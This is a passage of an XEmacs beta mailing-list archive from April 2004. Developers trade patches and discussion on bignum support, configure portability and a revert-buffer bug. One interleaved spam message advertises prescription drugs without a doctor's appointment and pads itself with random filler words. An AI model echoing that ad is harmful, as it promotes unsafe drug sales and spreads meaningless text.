that, even if the above works for you, it may break on other systems with predefined min macros or functions, so I don't know that I would put it in anyway. I could maybe come up with a configure test to decide whether it is (a) needed and (b) actually works, but that will take some thought. > But that is not the > end of the problems either :) [snip the next problem] You caught me with my pants temporarily down. If you do a cvs up and rebuild, that problem should be gone now. That was partly why I knocked off and went to bed last night. It was definitely a symptom of fatigue. > Thats where my compile currently stands. Sorry, I am not able to > provide any patches, except for the configure bit. Hope this helps. > This is my system: > > OS: > FreeBSD the-saint 5.2-RC2 FreeBSD 5.2-RC2 #0: Sat Mar 13 20:37:02 EST 2004 kaarthik@the-saint:/usr/src/sys/i386/compile/THE-SAINT i386 > > gcc: > Using built-in specs. > Configured with: FreeBSD/i386 system compiler > Thread model: posix > gcc version 3.3.3 [FreeBSD] 20031106 Thanks for your help figuring this out, Kaarthik. I'll put in the configure patch, at least. Regards, -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Wed Apr 7 11:42:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37Fg3s05862; Wed, 7 Apr 2004 11:42:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37Ffg305766 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 11:41:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37FffS05756 for turnbull@tux.org; Wed, 7 Apr 2004 11:41:41 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37Ffes05752 for ; Wed, 7 Apr 2004 11:41:40 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BBFBH-0002vP-00 for ; Thu, 08 Apr 2004 00:41:35 +0900 To: XEmacs Beta List Subject: How about `wrap_boolean'? [was: Re: [AC21.5] New BIGNUM and union datatype] References: <20040407123228.GA8662@pop.iskon.hr> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 08 Apr 2004 00:41:35 +0900 In-Reply-To: <20040407123228.GA8662@pop.iskon.hr> (Hrvoje Niksic's message of "Wed, 7 Apr 2004 14:32:28 +0200") Message-ID: <87vfkbeqxc.fsf_-_@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> The function returns a C boolean, whereas a DEFUN should Hrvoje> return a Lisp_Object. You should change the return Hrvoje> statement to something like: Hrvoje> return ... ? Qt : Qnil; Hrvoje> where "..." is the boolean expression used now. How about #define wrap_boolean(x) ((x) ? Qt : Qnil) (wrap_TYPE being the Bennish way of expressing Lispification)? The reviewing point being that it's generally clear with objects and functions what they're returning, but with a conditional expression, you have to check types of all the arms before you know. Yes, --use-union-type catches this too, but absence of the wrap_ would look odd to the reviewing eye. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 7 12:04:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37G42s12522; Wed, 7 Apr 2004 12:04:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37G16611581 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 12:01:06 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37G14u11554 for turnbull@tux.org; Wed, 7 Apr 2004 12:01:04 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37G13s11541 for ; Wed, 7 Apr 2004 12:01:03 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BBFU4-000375-00; Thu, 08 Apr 2004 01:01:00 +0900 To: Rodney Sparapani Cc: xemacs-beta@xemacs.org Subject: Re: [AC21.5] test -e => test -r References: <200404071448.i37EmIx01008@post.its.mcw.edu> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 08 Apr 2004 01:01:00 +0900 In-Reply-To: <200404071448.i37EmIx01008@post.its.mcw.edu> (Rodney Sparapani's message of "Wed, 7 Apr 2004 09:48:18 -0500 (CDT)") Message-ID: <87r7uzeq0z.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Rodney" == Rodney Sparapani >>>>> writes on xemacs-patches: Rodney> Is this list [== xemacs-patches] for commentary as well? No, it's for reviewer actions. If you think you know enough about a patch to strongly recommend or oppose it, send it here. Be warned that if you do it twice, Men In Black may show up one dark night and conduct the rituals that turn you into An Official XEmacs Reviewer, and you don't even get a secret decoder ring. If you aren't willing to take that risk, send your comments to xemacs-beta. Send commentary, including extensions, related ideas, or questions to xemacs-beta. Rodney> Nobody said anything about the last patch that I sent. Rodney> Does that mean it was committed? No, it means the janitor (me) is too busy trying to keep the spammers out to do anything about the patch queue. :-P -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 7 12:31:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37GV1s19949; Wed, 7 Apr 2004 12:31:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37GUU619671 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 12:30:30 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37GUSk19635 for turnbull@tux.org; Wed, 7 Apr 2004 12:30:28 -0400 Received: from post.its.mcw.edu (post.its.mcw.edu [141.106.32.10]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37GUSs19624 for ; Wed, 7 Apr 2004 12:30:28 -0400 Received: from markov.biostat.mcw.edu (markov.biostat.mcw.edu [141.106.120.18]) by post.its.mcw.edu (8.11.6+Sun/8.11.4) with SMTP id i37GURx24429 for ; Wed, 7 Apr 2004 11:30:27 -0500 (CDT) Message-Id: <200404071630.i37GURx24429@post.its.mcw.edu> Date: Wed, 7 Apr 2004 11:30:27 -0500 (CDT) From: Rodney Sparapani Reply-To: Rodney Sparapani Subject: Re: [AC21.5] test -e => test -r To: xemacs-beta@xemacs.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: OP65Vr0robwR+3gJdM33+A== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4.2 SunOS 5.8 sun4u sparc X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , > >APPROVE COMMIT 21.5 > >On Solaris 5.8, at least, /bin/sh does not support "test -e" (file >exists). It does support "test -r" (file exists & is readable), which >is more appropriate anyway, and which is supported by /bin/sh on all of >the systems I can check here. It looks like autoconf uses "test -r" >internally, so it must be at least fairly portable. > > >ChangeLog addition: > >2004-04-06 Jerry James > > * configure.in: Change test -e to test -r for portability. > > >xemacs-21.5 source patch: >Diff command: cvs -q diff -uN >Files affected: configure.in > >Index: configure.in >=================================================================== >RCS file: /pack/xemacscvs/XEmacs/xemacs/configure.in,v >retrieving revision 1.216 >diff -d -u -r1.216 configure.in >--- configure.in 2004/04/05 22:50:50 1.216 >+++ configure.in 2004/04/06 17:59:00 >@@ -5603,7 +5603,7 @@ > > CPP_MAKEFILE(,Makefile) > CPP_MAKEFILE(-DUSE_GNU_MAKE,GNUmakefile) >- if test -e "xemacs.def.in"; then >+ if test -r "xemacs.def.in"; then > cp -f xemacs.def.in junk.c > CPP_MAKEFILE(,xemacs.def) > fi > >-- >Jerry James >http://www.ittc.ku.edu/~james/ The patch mentioned here only fixes one symptom of the problem. Basically, on Solaris, the utilities in /bin do not support XPG4. Rather, Sun supplied a set of utilities that do support XPG4 in /usr/bin/xpg4 You can do this yourself by setting the environment variable CONFIG_SHELL=/usr/xpg4/bin/sh That is the recommended solution since it will cure all of the symptoms rather than just this one. I made a patch about this as well to PROBLEMS. From the ChangeLog (actually, this entry does not really explain it, but it should allow you to track the patch). 2003-09-12 Rodney Sparapani * PROBLEMS: Propose bash as an alternative to buggy Solaris /bin/sh. Rodney Sparapani Medical College of Wisconsin Sr. Biostatistician Patient Care & Outcomes Research rsparapa@mcw.edu http://www.mcw.edu/pcor Was 'Name That Tune' rigged? WWLD -- What Would Lombardi Do From xemacs-beta-admin@xemacs.org Wed Apr 7 12:32:01 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37GW0s20184; Wed, 7 Apr 2004 12:32:00 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37GVAm19997 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 12:31:10 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37GV9o19986 for turnbull@tux.org; Wed, 7 Apr 2004 12:31:09 -0400 Received: from post.its.mcw.edu (post.its.mcw.edu [141.106.32.10]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37GV9s19980 for ; Wed, 7 Apr 2004 12:31:09 -0400 Received: from markov.biostat.mcw.edu (markov.biostat.mcw.edu [141.106.120.18]) by post.its.mcw.edu (8.11.6+Sun/8.11.4) with SMTP id i37GV8x24896 for ; Wed, 7 Apr 2004 11:31:08 -0500 (CDT) Message-Id: <200404071631.i37GV8x24896@post.its.mcw.edu> Date: Wed, 7 Apr 2004 11:31:08 -0500 (CDT) From: Rodney Sparapani Reply-To: Rodney Sparapani Subject: [PATCH for 21.5.17]: local variables not updated with revert-buffer bug To: xemacs-beta@xemacs.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: /SZEVsLFEaJqsp+Taiyn7w== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4.2 SunOS 5.8 sun4u sparc X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , With the recent announcement, I decided to give unstable a try. However, I quickly discovered that the local variables bug in revert-buffer still exists in unstable. So, I decided to patch it with stable since that has been fixed. And, it worked! Here's the patch: *** files.el Tue Oct 14 11:10:06 2003 --- ../../xemacs-21.4.15/lisp/files.el Thu Dec 4 20:06:33 2003 *************** *** 3480,3489 **** ;; The resultant buffer is identical, alter ;; modtime, update mods and exit (set-visited-file-modtime) ! (after-find-file nil nil t t t)) (t t)) t))))) (defun revert-buffer-internal (&optional file-name) "Read contents of FILE-NAME into a buffer, and compare to current buffer. Return nil if identical, and the new buffer if different." --- 2724,2742 ---- ;; The resultant buffer is identical, alter ;; modtime, update mods and exit (set-visited-file-modtime) ! (after-find-file nil nil t t t) ! ;; We preserved modes above so fixup the local ! ;; variables manually ! (condition-case err ! (hack-local-variables) ! (error (lwarn 'local-variables 'warning ! "File local-variables error: %s" ! (error-message-string err))))) (t t)) t))))) + ;; #### something like `revert-buffer-compare-with-file' is a better name + ;; #### why is the argument optional? (defun revert-buffer-internal (&optional file-name) "Read contents of FILE-NAME into a buffer, and compare to current buffer. Return nil if identical, and the new buffer if different." Rodney Sparapani Medical College of Wisconsin Sr. Biostatistician Patient Care & Outcomes Research rsparapa@mcw.edu http://www.mcw.edu/pcor Was 'Name That Tune' rigged? WWLD -- What Would Lombardi Do From xemacs-beta-admin@xemacs.org Wed Apr 7 13:03:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37H35s28540; Wed, 7 Apr 2004 13:03:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37H29O28334 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 13:02:09 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37H28j28324 for turnbull@tux.org; Wed, 7 Apr 2004 13:02:08 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37H24s28297; Wed, 7 Apr 2004 13:02:04 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BBGR8-0003oB-00; Thu, 08 Apr 2004 02:02:02 +0900 To: Jerry James Cc: Hrvoje Niksic , XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 08 Apr 2004 02:02:02 +0900 In-Reply-To: (Jerry James's message of "Wed, 07 Apr 2004 09:57:53 -0500") Message-ID: <87n05nen79.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> So is there some way to store [bignums] as strings, and Jerry> reconstitute them from those strings later? Fprinc and Fread. That's portable, but I don't think that's the most efficient way. I think what we probably can do is simply treat it like a string: static const struct memory_description string_description[] = { { XD_BYTECOUNT, offsetof (Lisp_String, size_) }, { XD_OPAQUE_DATA_PTR, offsetof (Lisp_String, data_), XD_INDIRECT(0, 1) }, { XD_LISP_OBJECT, offsetof (Lisp_String, plist) }, { XD_END } }; I was gonna guess what "struct memory_description bignum_description" might look like, but then I found "Data description stuff" ca. l.340 in lrecord.h, and my guess was totally wrong (it's going to be somewhat more complex than the string example). Note that a quick look through dumper.c suggests that there's no knowledge of Lisp type structure there, only the basic lrecord_header, plus the memory description stuff. Anyway, you're going to have to do this for GC ... KKCC uses these memory descriptions, too, although KKCC may only care that there are no Lisp_Objects in there. So Mike probably knows about this stuff, and the comment looks like Ben. >> I know that Python at least and probably Perl have MP modules. >> I bet Python bignums have a pickle method, and if so they've >> already solved this problem. The usual licenses in those >> communities are upwardly compatible with GPL, so we could >> probably even steal code. Jerry> Sounds great, at least for someone who knows something Jerry> about Python pickling, which isn't me. No, but Skip Montanaro and Barry Warsaw very likely do. *evil chuckle* Hey, maybe you could work for Guido doing this for Python. ;-) Mostly I'd be interested in whether the limbs member of __struct_mpz is an XD_OPAQUE_DATA_PTR: Pointer to dumpable opaque data. Parameter is the size of the data. Pointed data must be relocatable without changes. and anybody who's worked on pickling, dumping etc would probably know. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 7 13:09:10 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37H95s29660; Wed, 7 Apr 2004 13:09:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37H8rH29593 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 13:08:53 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37H8qA29582 for turnbull@tux.org; Wed, 7 Apr 2004 13:08:52 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37H8ns29574; Wed, 7 Apr 2004 13:08:50 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BBGXg-0003u7-00; Thu, 08 Apr 2004 02:08:48 +0900 To: Jerry James Cc: XEmacs Beta List Subject: [21.5] Declare Fround References: <87d66jgalg.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 08 Apr 2004 02:08:48 +0900 In-Reply-To: (Jerry James's message of "Wed, 07 Apr 2004 09:54:43 -0500") Message-ID: <87isgbemvz.fsf_-_@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , 21.5 Jerry> I'll commit this patch: Hm. I also needed this patch: Index: src/ChangeLog =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/ChangeLog,v retrieving revision 1.676 diff -u -U0 -r1.676 ChangeLog --- src/ChangeLog 6 Apr 2004 20:52:08 -0000 1.676 +++ src/ChangeLog 7 Apr 2004 17:05:38 -0000 @@ -0,0 +1,4 @@ +2004-04-08 Stephen J. Turnbull + + * lisp.h: Declare Froundp. + Index: src/lisp.h =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/lisp.h,v retrieving revision 1.113 diff -u -r1.113 lisp.h --- src/lisp.h 6 Apr 2004 12:26:38 -0000 1.113 +++ src/lisp.h 7 Apr 2004 17:05:48 -0000 @@ -4190,6 +4190,7 @@ /* Defined in floatfns.c */ EXFUN (Ftruncate, 1); +EXFUN (Fround, 1); double extract_float (Lisp_Object); -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 7 13:15:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37HF3s30950; Wed, 7 Apr 2004 13:15:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37HEmn30814 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 13:14:48 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37HElR30804 for turnbull@tux.org; Wed, 7 Apr 2004 13:14:47 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37HEks30781; Wed, 7 Apr 2004 13:14:46 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i37HETDu018166; Wed, 7 Apr 2004 12:14:29 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i37HETHS004764; Wed, 7 Apr 2004 12:14:29 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i37HETVv004762; Wed, 7 Apr 2004 12:14:29 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: XEmacs Beta List Subject: Re: [21.5] Declare Fround References: <87d66jgalg.fsf@tleepslib.sk.tsukuba.ac.jp> <87isgbemvz.fsf_-_@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Wed, 07 Apr 2004 12:14:29 -0500 In-Reply-To: <87isgbemvz.fsf_-_@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Thu, 08 Apr 2004 02:08:48 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" wrote: > 21.5 > > Jerry> I'll commit this patch: > > Hm. I also needed this patch: See, I *told* you I was tired last night. I already caught this one. Do a 'cvs up' and you should be good to go without this patch. Fround was the wrong function anyway. It should have been Ftruncate, which is already declared in lisp.h. I made that change and now you don't need this patch. -- Jerry James, hopefully less tired today than last night http://www.ittc.ku.edu/~james/ From hdwgxbmilch@cinci.rr.com Wed Apr 7 20:20:49 2004 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i380Kcs06157; Wed, 7 Apr 2004 20:20:48 -0400 Received: from 81-203-114-172.user.ono.com (explors-62628@81-203-114-172.user.ono.com [81.203.114.172]) by yxa.extundo.com (8.12.11/8.12.11) with SMTP id i380KU69028099; Thu, 8 Apr 2004 02:20:33 +0200 From: "Guadalupe Golden" To: Date: Thu, 08 Apr 2004 07:16:15 +0600 Message-Id: Mime-Version: 1.0 X-Sent-Mail: on Reply-To: hdwgxbmilch@cinci.rr.com X-Mailer: MailCity Service X-Priority: 3 Subject: Get Any Pills. Our Doctors Write Prescriptions. Overnight FedEx. Secure. Discreet X-Sender-IP: 0.174.144.246 Organization: Lycos Mail (http://www.mail.lycos.com:80) Content-Type: multipart/alternative; boundary="=_-=_-PXNYQHBCDSGAAAA" Content-Transfer-Encoding: 7bit X-Spam-Flag: YES X-Spam-Status: Yes, hits=10.6 required=5.0 tests=BAYES_99,BIZ_TLD, HTML_FONTCOLOR_UNSAFE,HTML_MESSAGE,RCVD_IN_BL_SPAMCOP_NET, RCVD_IN_DSBL,RCVD_IN_DYNABLOCK,RCVD_IN_SORBS autolearn=no version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on yxa.extundo.com --=_-=_-PXNYQHBCDSGAAAA Content-Type: text/html; Content-Transfer-Encoding: 7Bit

Hello,

YourDrugsHere - your Source for best prices Prescription Drugs.

Absolutely No Doctor Appointment Needed!

Orders approved by 2 pm EST will receive their medication next business day via FedEX! (where available)

Connect with the Source. Get it Here

Kdomain bunt petrifaction dissociable nectar spacetime dignitary clarke prokofieff arcane forbes bullhide prognosis category !!! Ferode rhine depose borderland bidiagonal repute pore deliquescent actuarial ! Vcutset digging myosin peridotite holm estop read yvette savage tenuous blackball expenditure limitate submittal chianti columbia admix escape cheshire electroencephalogram elisha tarantara vignette pisces deferrable texaco anharmonic enthusiasm siege katowice drophead charisma coup deuterium yorktown decrease arginine bullet frustum aile wonderful rubicund coronet doghouse margin coke checkerboard suez jorge mumble mascara cellular bernardino drowse musicology cranny bryant moldavia .

If this notice has reached you in error, please notify us by clicking here --=_-=_-PXNYQHBCDSGAAAA-- From xemacs-beta-admin@xemacs.org Wed Apr 7 23:08:36 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3838Qs19177; Wed, 7 Apr 2004 23:08:26 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3837mg19014 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 23:07:48 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3837l119004 for turnbull@tux.org; Wed, 7 Apr 2004 23:07:47 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3837ks18997 for ; Wed, 7 Apr 2004 23:07:46 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3837aDu001342 for ; Wed, 7 Apr 2004 22:07:36 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3837ZHS010621; Wed, 7 Apr 2004 22:07:35 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3837ZsD010619; Wed, 7 Apr 2004 22:07:35 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: XEmacs Beta Subject: BSD MP: maybe not so flaky after all From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Wed, 07 Apr 2004 22:07:35 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , After the flurry of patches last night and this morning (my time, of course), my Solaris 8 build with BSD MP seems to be working pretty well. It now passes all tests, and seems to be functioning as expected. The BSD MP emulation provided by GMP seems to be broken, though, at least on my Linux box. Some debugger work showed that retrieving the values of some bignums sometimes (randomly?) produces different (random?) results from what the bignum actually stores. Watchpoints verified that the bignums in question are not being altered; they are just being read incorrectly somehow. I'm not terribly worried about this, though, since anybody with GMP should be using the GMP support anyway. At this time, these are the only problems I know about with bignum support: - we cannot build with BSD MP on FreeBSD due to the "min" clash; - bignums/ratios/bigfloats cannot be dumped; and - I never figured out how to implement the random bignum support in BSD MP that GMP provides. As always, let me know of any other bugs or problems you encounter. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Thu Apr 8 01:25:10 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i385P5s24820; Thu, 8 Apr 2004 01:25:05 